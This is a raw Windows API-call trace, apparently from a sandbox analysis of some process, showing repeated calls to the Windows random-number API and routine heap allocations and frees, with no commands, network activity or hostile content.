	[0030.436] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.437] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.437] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.437] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.438] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.438] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.438] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.438] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.438] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.438] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.439] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.439] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.439] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.440] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.440] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.440] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.441] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.441] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.441] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.442] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.442] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.502] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.503] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.503] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.503] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.504] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.504] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.504] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.505] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.505] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.505] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.506] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.506] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.506] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.506] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.506] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.506] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.507] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.507] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.507] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.508] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.508] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.508] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.509] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.509] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.509] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.510] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.510] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.510] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.510] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.510] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.511] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.511] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.511] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.511] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.512] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.512] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.512] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.513] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.513] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.513] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.514] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.514] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.514] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.516] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.516] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.516] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.517] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.517] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.589] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.590] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.590] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.590] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.590] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.590] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.591] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.591] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.591] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.591] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.593] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.593] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.593] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.594] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.594] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.594] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.595] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.595] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.595] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.595] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.595] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.596] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.596] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.596] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.596] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.597] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.597] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.597] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.598] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.598] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.598] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.599] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.599] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.599] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.599] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.599] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.600] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.600] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.600] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.600] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x596f48
	[0030.600] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5b6c38
	[0030.600] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5b6cc0
	[0030.601] CryptAcquireContextW (in: phProv=0x39d41c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d41c*=0x5b7d30) returned 1
	[0030.601] CryptGenRandom (in: hProv=0x5b7d30, dwLen=0x80, pbBuffer=0x39d430 | out: pbBuffer=0x39d430) returned 1
	[0030.601] CryptReleaseContext (hProv=0x5b7d30, dwFlags=0x0) returned 1
	[0030.601] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b7d30
	[0030.601] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b6cc0 | out: hHeap=0x580000) returned 1
	[0030.601] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b6cc0
	[0030.601] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x108) returned 0x5b7dc0
	[0030.601] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x4) returned 0x596fd0
	[0030.601] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b7ed0
	[0030.602] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.602] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b7fe0
	[0030.602] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5b80f0
	[0030.602] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x10c) returned 0x5b8178
	[0030.602] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.602] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0xc) returned 0x58efc0
	[0030.602] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b8290
	[0030.602] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b80f0 | out: hHeap=0x580000) returned 1
	[0030.602] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b8320
	[0030.602] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8290 | out: hHeap=0x580000) returned 1
	[0030.602] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fe0
	[0030.602] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0xc) returned 0x58efd8
	[0030.602] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.602] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fe0 | out: hHeap=0x580000) returned 1
	[0030.602] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x88) returned 0x5b8290
	[0030.602] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x58efd8 | out: hHeap=0x580000) returned 1
	[0030.602] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b8430
	[0030.602] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8290 | out: hHeap=0x580000) returned 1
	[0030.602] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.602] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.602] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.602] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.602] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.602] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.602] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.602] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.602] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.602] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.602] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.602] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.602] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.602] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.602] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.602] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.602] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.602] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.602] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.602] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.602] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.602] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.603] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.603] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.603] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.603] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.603] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.603] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.603] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.603] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.603] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.603] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.603] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.603] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.603] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.603] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.603] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.603] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.603] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.603] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.603] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.603] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.603] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.603] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.603] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.603] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.603] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.603] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.603] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.603] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.603] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.603] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.603] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.603] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.603] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.603] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.603] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.603] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.603] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.603] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.603] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.604] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.604] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.604] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.604] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.604] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.604] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.604] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.604] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.604] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.604] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.604] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.604] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.604] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.604] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.604] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.604] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.604] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.604] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.604] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.604] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.604] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.604] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.604] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.604] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.604] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0030.604] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0030.604] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
